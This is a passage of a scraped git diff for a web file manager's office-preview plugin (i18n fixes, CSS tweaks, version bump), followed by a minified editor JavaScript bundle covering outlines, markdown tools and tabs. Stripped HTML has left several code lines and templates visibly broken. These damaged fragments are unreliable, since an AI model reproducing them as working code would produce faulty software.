    暂不支持大于2M的文件在线预览!"); + } + //文档分享预览; http://yozodoc.com/ + // require_once($this->pluginPath.'php/yzOffice.class.php'); + // return new yzOffice($this,$path); -// require_once($this->pluginPath.'php/yzOffice.class.php');//文档分享预览 -// return new yzOffice($this,$path); - require_once($this->pluginPath.'php/yzOffice2.class.php');//官网用户demo + //官网用户demo; + //http://www.yozodcs.com/examples.html 2M上传限制; + //http://dcs.yozosoft.com/examples.html + require_once($this->pluginPath.'php/yzOffice2.class.php'); return new yzOffice2($this,$path); } } diff --git a/plugins/yzOffice/i18n/en.php b/plugins/yzOffice/i18n/en.php index ec6440a..3e1669e 100755 --- a/plugins/yzOffice/i18n/en.php +++ b/plugins/yzOffice/i18n/en.php @@ -7,7 +7,7 @@ return array( 'yzOffice.config.cacheFile' => "Open the cache", 'yzOffice.config.cacheFileDesc' => "After Opened,Office parsing generated images and other files stored in the server;", 'yzOffice.config.preview' => "Preview mode", - 'yzOffice.config.previewDesc' => "Normal mode, complex scheduling content will be converted into pictures;", + 'yzOffice.config.previewDesc' => "Normal mode, the contents of complex layout will be converted to pictures;", 'yzOffice.config.previewNormal' => "Normal mode", 'yzOffice.config.previewHight' => "HD mode", diff --git a/plugins/yzOffice/i18n/zh-CN.php b/plugins/yzOffice/i18n/zh-CN.php index 7689867..7370b65 100755 --- a/plugins/yzOffice/i18n/zh-CN.php +++ b/plugins/yzOffice/i18n/zh-CN.php @@ -7,7 +7,7 @@ return array( 'yzOffice.config.cacheFile' => "开启缓存", 'yzOffice.config.cacheFileDesc' => "开启后,office解析生成的图片等文件存储于本服务器;", 'yzOffice.config.preview' => "预览模式", - 'yzOffice.config.previewDesc' => "普通模式,复杂排班的内容会转为图片;", + 'yzOffice.config.previewDesc' => "普通模式,复杂排版的内容会转为图片;", 'yzOffice.config.previewNormal' => "普通模式", 'yzOffice.config.previewHight' => "高清模式", diff --git a/plugins/yzOffice/package.json b/plugins/yzOffice/package.json index 0e81d91..77bb01e 100755 --- a/plugins/yzOffice/package.json +++ b/plugins/yzOffice/package.json @@ -2,7 +2,7 @@ "id":"yzOffice", "name":"{{LNG.yzOffice.meta.name}}", "title":"{{LNG.yzOffice.meta.title}}", - "version":"1.23", + "version":"1.33", "category":"file", "source":{ "icon":"{{pluginHost}}static/images/icon.png" diff --git a/plugins/yzOffice/php/assign/footer.php b/plugins/yzOffice/php/assign/footer.php index 80cf23d..dbf2711 100755 --- a/plugins/yzOffice/php/assign/footer.php +++ b/plugins/yzOffice/php/assign/footer.php @@ -5,8 +5,10 @@ // document.ondragstart = funcNull; if( !window.datas && $('.excel-tab-title').length == 0){//没有目录 - $('.navbar-inverse').css('opacity',0); + //$('.navbar-inverse').css('opacity',0); } + $(document).ready(function(){ + }) -

    永中DCS
    +
    yozo DCS
    diff --git a/plugins/yzOffice/php/assign/header.php b/plugins/yzOffice/php/assign/header.php index 1007013..d658382 100755 --- a/plugins/yzOffice/php/assign/header.php +++ b/plugins/yzOffice/php/assign/header.php @@ -11,8 +11,11 @@ } .powerby{text-align: center;font-size:12px;color:#ccc;} div.word-body, .ppt-body{background:#f9f9f9;} - div.word-page{border-bottom:1px solid #d9d9d9;box-shadow:0 1px 6px #ccc;} + div.word-page{border-bottom:1px solid #d9d9d9;box-shadow:0 1px 6px #ccc; max-width: 845px;} + div.word-page .word-content{max-width: 85%;}} div.navbar{display:none;} + body.fullScreen div.word-page{max-width: 100%;border: none;} + body > div,body > hr{display:none;} body div.container-fluid, @@ -43,7 +46,7 @@ } div.navbar-inverse .nav>li>a {color: #666;text-shadow: none;} div.navbar-inverse .brand{color: #666;text-shadow: none;width:40%;margin-left:0px;} - + div.changePage{color:#888;} div.navbar .nav{position: static;} .nav.word-tab-title .dropdown.word-tab-title-li{position:absolute;left:0px;} @@ -87,6 +90,21 @@ background-color: #d4ecff; } } + #btnPrint{filter: invert(60%);} + #zoom{display:none !important;} + + .changePage .pageUp:after{content: "";font-family: FontAwesome;} + .changePage .pageDown:after {content: "";font-family: FontAwesome;} + .changePage .pageUp,.changePage .pageDown{font-size:16px;background:transparent !important;color:#888;text-decoration: none;} + .changePage .pageUp:hover,.changePage .pageDown:hover{background:#444;} + + + @media print { + body .powerby{display:none !important;} + body #zoom{display:none !important;} + body #btnPrint{filter: invert(60%);} + } + /*word*/ @media (max-width: 743px) { diff --git a/plugins/yzOffice/php/template.php b/plugins/yzOffice/php/template.php index b4733d0..f31e6d6 100755 --- a/plugins/yzOffice/php/template.php +++ b/plugins/yzOffice/php/template.php @@ -3,7 +3,7 @@ - + <?php echo $fileName;?> \n\n
    Print\n\n{{@content}}\n\n\n\n'),define("app/src/edit/functionList",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,regName:/.*function\s+(.*\))/,regIndex:1,typeExtents:{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,regName:/\s*class\s+(\w*)\s*.*\{/,regIndex:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,regName:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,regIndex:1,regName_all:[1,2],type:"function function-var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,regName:/\s*function\s+([\w\s]+)\s*(.*)/,regIndex:1,regName_all:[1,2],type:"function function-define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,regName:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,regIndex:1,regName_all:[1,2],type:"function function-value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,regName:/\s*class\s+(\w+)\s*\(/,regIndex:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,regName:/\s*def\s+(\w+)\s*\(.*\)/,regIndex:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,regName:/\s*def\s+(\w+)\s*/,regIndex:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,regName:/\s*func\s+(\w+)\s*/,regIndex:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,regName:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,regIndex:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,regName:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,regIndex:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,regName:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,regIndex:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,regName:/\s*class\s+(\w+)\s*.*\{/,regIndex:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,regName:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,regIndex:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,regName:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,regIndex:1,type:"function"},{reg:/@implementation\s+(\w*)/g,regName:/@implementation\s+(\w*)/,regIndex:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,regName:/#pragma\s+(mark\s+)?(.*)/,regIndex:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,regName:/\s+(\w+)\s*\(/,regIndex:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,regName:/\s*(\w+)::~?(\w+)\s*\(/,regIndex:2,type:"function function-define"},{reg:/\s*class\s+(\w+)\s*:/g,regName:/\s*class\s+(\w+)\s*:/,regIndex:1,type:"class"}]},t=function(e,t){var a=e.match(t.reg); -if(a){for(var i=[],n=a.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=a[r];var c=l.the_match.match(t.regName);if(c&&!(c.lengthf;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.typeExtents!==void 0&&$.each(t.typeExtents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),i.push(l)}}return i}},a=function(a,i){if(void 0!==e[i]){for(var n=e[i],o=[],s=0;n.length>s;s++){var r=t(a,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var a="pos_start";return e[a]=t[a]?1:void 0});for(var l=a.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},i=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\/gi,">")};return function(t){var n="",o='
    No outline for the active view
    ',s=$("#"+t.kod.uuid).parent(),r=s.find(".function-search input"),l=s.find(".function-list-box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=a(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row-select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row-select");var v=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,g=t(t(h.the_match)).substr(0,150);n+='
    '+''+''+i(h.name)+"
    "}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$("
    "+n+"
    ");t.find(".cell").each(function(){var t=$(this).text(),a=t.toLowerCase().indexOf(e.toLowerCase());-1!=a?(t=t.substr(0,a)+""+t.substr(a,e.length)+""+t.substr(a+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list-row").get(0)))},p=function(e){if(1==e.length){l.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range"),a=t.split(","),i={start:{row:parseInt(a[0]),column:parseInt(a[1])},end:{row:parseInt(a[2]),column:parseInt(a[3])}};Editor.current()&&(Editor.current().revealRange(i),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),a=t+e.height(),i=e.find(".row-select").index(),n=e.find(".list-row:eq(0)").outerHeight(),o=e.scrollTop();t>i*n?o=i*n:(i+1)*n>a&&(o=i*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list-row","mouseover mousedown mouseout mouseup",function(t){var a=$(this);switch(t.type){case"mouseover":a.parent().hasClass(e)?p(a):a.addClass("row-hover");break;case"mousedown":p(a),a.parent().addClass(e);break;case"mouseout":a.removeClass("row-hover");break;case"mouseup":a.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search-reset").addClass("hidden"):s.find(".search-reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row-select").prev().length&&(p(s.find(".row-select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row-select").next().length&&(p(s.find(".row-select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row-select")),r.val(""),t(),Editor.focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search-reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1

    ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2

    "},h3:{type:"head",insert:"### ",title:"Header 3

    "},h4:{type:"head",insert:"#### ",title:"Header 4

    "},h5:{type:"head",insert:"###### ",title:"Header 5

    "},quote:{type:"head",insert:"> ",title:"Quote
    (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list
      (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list
        (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line
        ","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link (Ctrl-L)","class":"link"},image:{type:"image",insert:"![${1:}](http://$2)",title:"Image (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table ","class":"table"},code:{type:"inlineBlock",title:"Code
         (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}},flowchart:{type:"insert",title:"flowchart diagram","class":"long-arrow-right",insert:"\n```mermaid\ngraph LR\nA-->B\n```\n"},sequence:{type:"insert",title:"Sequence diagram","class":"exchange",insert:"\n```mermaid\nsequenceDiagram\nA->>B: How are you?\nB->>A: Great!\n```\n"},gantt:{type:"insert",title:"Gantt diagram","class":"tasks",insert:"\n```mermaid\ngantt\ndateFormat YYYY-MM-DD\nsection S1\nT1: 2014-01-01, 9d\nsection S2\nT2: 2014-01-11, 9d\nsection S3\nT3: 2014-01-02, 9d\n```\n"},classDiagram:{type:"insert",title:"classDiagram diagram","class":"sitemap",insert:"\n```mermaid\nclassDiagram\nBaseClass <|-- AveryLongClass : Cool\nBaseClass : size()\nBaseClass : int chimp\nBaseClass : int gorilla\n```\n"},gitGraph:{type:"insert",title:"gitGraph diagram","class":"sitemap",insert:"\n```mermaid\nclassDiagram\nBaseClass <|-- AveryLongClass : Cool\nBaseClass : size()\nBaseClass : int chimp\nBaseClass : int gorilla\n```\n"}},a=function(e,t){var a=e.getSelection().rangeList.ranges;0==a.length&&(a=[e.getSelectionRange()]);for(var i=0;a.length>i;i++){var n=a[i],o=t.insert,s=e.session.getTextRange(n);e.selection.setSelectionRange(n),""!==s&&(o=o.replace(/\{1:.*\}/g,"{1:"+s+"}")),ace.snippetManager.insertSnippetForSelection(e,o)}e.tabstopManager&&e.tabstopManager.tabNext()},i=function(e,t){var a=e.getSelection().rangeList.ranges;0==a.length&&(a=[e.getSelectionRange()]);for(var i=0;a.length>i;i++){var n=a[i],o=[],s=n.end.row-n.start.row+1,r=0,l=t.insert;" 1. "==l&&(l=" "+(i+1)+". ");for(var c=0;s>c;c++){var d={start:{row:n.start.row+c,column:0},end:{row:n.start.row+c,column:l.length}};o.push(d),e.session.getTextRange(d)==l&&r++}for(var c=0;s>c;c++){var p=o[c];s==r?e.session.doc.remove(p):e.session.doc.insert({row:p.start.row,column:0},l)}}},n=function(e,t){var a=e.getSelection().rangeList.ranges;0==a.length&&(a=[e.getSelectionRange()]);for(var i=0;a.length>i;i++){var n=a[i],o=t.insert,s=e.session.getTextRange(n);e.selection.setSelectionRange(n),""!==s&&(o=o.replace(/\{1:.*\}/g,"{1:"+s+"}")),ace.snippetManager.insertSnippetForSelection(e,o)}e.tabstopManager&&e.tabstopManager.tabNext()},o=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||i===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),a(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","|","math","flowchart","sequence","gantt","classDiagram","|"],a="";return $.each(e,function(e,i){if("|"==i)a+="|";else{var n=t[i],o="class='md-tools md-tools-"+i+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";a+=""}}),a},r=function(e){var t={type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"};core.api.pathSelect(t,function(t){core.fileLink(t,function(a){var i=core.pathThis(t),n="!["+i+"]("+a+")";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":a(c,l,s);break;case"head":i(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(a){var i=t[a];if(i.title&&i.title.match(/\((.*)\)/)){var n=i.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:a,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(a)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdownHelpCN.html",[],'
        \n
        1.标题与文字格式
        \n

        标题

        \n
        \n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n
        \n

        文字格式

        \n
        \n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n
        \n

        水平线

        \n
        \n--- \n
        \n了解更多\n
        \n\n
        \n
        2.列表
        \n

        无序列表

        \n
        \n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n
        \n

        有序列表

        \n
        \n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.其他
        \n

        图片

        \n
        \n![图片名称](http://图片网址)\n
        \n\n

        连接

        \n
        \n[链接名称](http://链接网址)\n<http://链接网址>\n
        \n\n

        引用

        \n
        \n> 引用\n> 折行可以不加,新起一行要加\n
        \n\n

        代码

        \n
        \n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n
        \n\n

        公式

        \n
        \n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n
        \n编辑器 | \n公式教程
        \n流程图 | 时序图 | 甘特图 | 类图
        \n
        \n'),define("app/src/edit/tpl/markdownHelp.html",[],'
        \n
        1.Headers and Emphasis
        \n

        Headers

        \n
        \n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n
        \n

        Emphasis

        \n
        \n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n
        \n

        Line

        \n
        \n--- \n
        \nLearn More\n
        \n\n
        \n
        2.Lists
        \n

        Unordered list

        \n
        \n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n
        \n

        Ordered list

        \n
        \n1. item 1\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.Others
        \n

        Image

        \n
        \n![Alt text](http://img.png)\n
        \n\n

        Links

        \n
        \n[Link text](http://url)\n<http://url>\n
        \n\n

        Blockquotes

        \n
        \n> Are you \n> ok ?\n
        \n\n

        Code

        \n
        \ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n
        \n\n

        LaTeX Math

        \n
        \ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n
        \nMath Editor \nFlowcharts \n
        \n'),define("app/src/edit/tpl/editTabContent.html",[],'
        \n
        \n	\n	\n
        \n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit-tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit-tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit-tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},a=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit-tab-menu",items:{refresh:{name:LNG.refresh+"F5",className:"refresh_tab",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",className:"close_self",accesskey:"d"},"close-others":{name:LNG.close_others,icon:"remove",className:"close-others",accesskey:"o"},sep2:"--------","close-left":{name:LNG.close_left,icon:"remove-sign",className:"close-left",accesskey:"l"},"close-right":{name:LNG.close_right,icon:"remove-sign",className:"close-right",accesskey:"r"},sep3:"--------","open-the-path":{name:LNG.open_the_path,icon:"folder-open",className:"edit-open-the-path",accesskey:"n"},preview:{name:LNG.preview,icon:"eye-open",className:"edit_preview",accesskey:"p"}},callback:function(e,t){var a=t.$trigger,i=a.attr("uuid");switch(e){case"refresh":Editor.refresh(i);break;case"close":Editor.remove(i);break;case"close-left":var n=$(".edit-tab .tabs .tab").index(a);$(".edit-tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close-right":var n=$(".edit-tab .tabs .tab").index(a);$(".edit-tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close-others":$(".edit-tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=i&&Editor.remove(e)});break;case"open-the-path":var o=a.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},i=function(){var e,t,a,i,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit-tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){g(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(i){o=!0,s=i.pageX,l=i.pageY,$tab_parent=$(".edit-tab"),t=$(".edit-tab .tab"),$(".draggable-dragging").remove(),a=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"))-2;var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=i.clientX-s+r;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(i){if(n){0==o&&h(i);var u=i.clientX-s+r,f=i.clientY-l+c;a.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;v($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;v($(this).attr("uuid"),"right")}})}},v=function(a,n){if(!e.is(":animated")||i!=a){i=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit-tab .tab");var o=e.width(),s=$(".edit-tab .tab-"+a),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit-tab .tab")})}},g=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.focus(),void 0!=a){var t=e.get(0).getBoundingClientRect().left,i=e.get(0).getBoundingClientRect().top;a.animate({left:t+"px",top:i+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,a){"remove"==e&&t.removeClass("edit-tab-menu");var i=1.4*animate_time,n=150,o=n,s=$(".edit-tab .tab.edit-tab-menu"),r=$sizeInt($(".edit-tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit-tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit-tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},i),s.animate({width:o+"px"},i);break;case"remove":void 0!=a&&Editor.select(a),t.stop(1,1).animate({width:"0","margin-top":"+=30"},i,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},i);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),i(),a()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){a(),$(".toolbar-menu").bind("click mouseup",stopPP),$(".toolbar-menu").on("mousedown",function(){$(".toolbar-menu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})}),window.top==window&&$('.tools [action="fullscreen"]').remove();var e=function(e,t){if(t.parent().hasClass("top-toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom-toolbar")){var a=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:a,top:t.offset().top-e.outerHeight()}),e.addClass("hidden"),setTimeout(function(){e.removeClass("hidden").css({top:t.offset().top-e.outerHeight()})},10)}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menu-view-goto-line",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline-input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{"soft-tab":{name:"Soft Tabs (spaces)",className:"soft-tab"},sep1:"---------","tab-size-2":{name:"Tab with:2",className:"tab-size-set tab-size-2"},"tab-size-3":{name:"Tab with:3",className:"tab-size-set tab-size-3"},"tab-size-4":{name:"Tab with:4",className:"tab-size-set tab-size-4"},"tab-size-8":{name:"Tab with:8",className:"tab-size-set tab-size-8"},sep2:"---------","convert-to-space":{name:"Convert To Space",className:"convert-to-space"},"convert-to-tab":{name:"Convert To Tabs",className:"convert-to-tab"}}});for(var t=[{charset:"UTF-8",name:LNG.charset_UTF_8},{charset:"UTF-16",name:LNG.charset_UTF_16},{charset:"BIG5-HKSCS",name:LNG.charset_BIG5_HKSCS},{charset:"BIG5",name:LNG.charset_BIG5},{charset:"CP850",name:""},{charset:"CP932",name:""},{charset:"CP949",name:LNG.charset_CP949},{charset:"CP1133",name:LNG.charset_CP1133},{charset:"CP1250",name:LNG.charset_CP1250},{charset:"CP1251",name:LNG.charset_CP1251},{charset:"CP1252",name:LNG.charset_CP1252},{charset:"CP1253",name:LNG.charset_CP1253},{charset:"CP1254",name:LNG.charset_CP1254},{charset:"CP1255",name:LNG.charset_CP1255},{charset:"CP1256",name:LNG.charset_CP1256},{charset:"CP1257",name:LNG.charset_CP1257},{charset:"CP1258",name:LNG.charset_CP1258},{charset:"EUC-JP",name:LNG.charset_EUC_JP},{charset:"EUC-KR",name:LNG.charset_EUC_KR},{charset:"GB18030",name:LNG.charset_GB18030},{charset:"GBK",name:LNG.charset_GBK},{charset:"Georgian-Academy",name:LNG.charset_Georgian_Academy},{charset:"ISO-8859-1",name:LNG.charset_ISO_8859_1},{charset:"ISO-8859-2",name:LNG.charset_ISO_8859_2},{charset:"ISO-8859-3",name:LNG.charset_ISO_8859_3},{charset:"ISO-8859-4",name:LNG.charset_ISO_8859_4},{charset:"ISO-8859-5",name:LNG.charset_ISO_8859_5},{charset:"I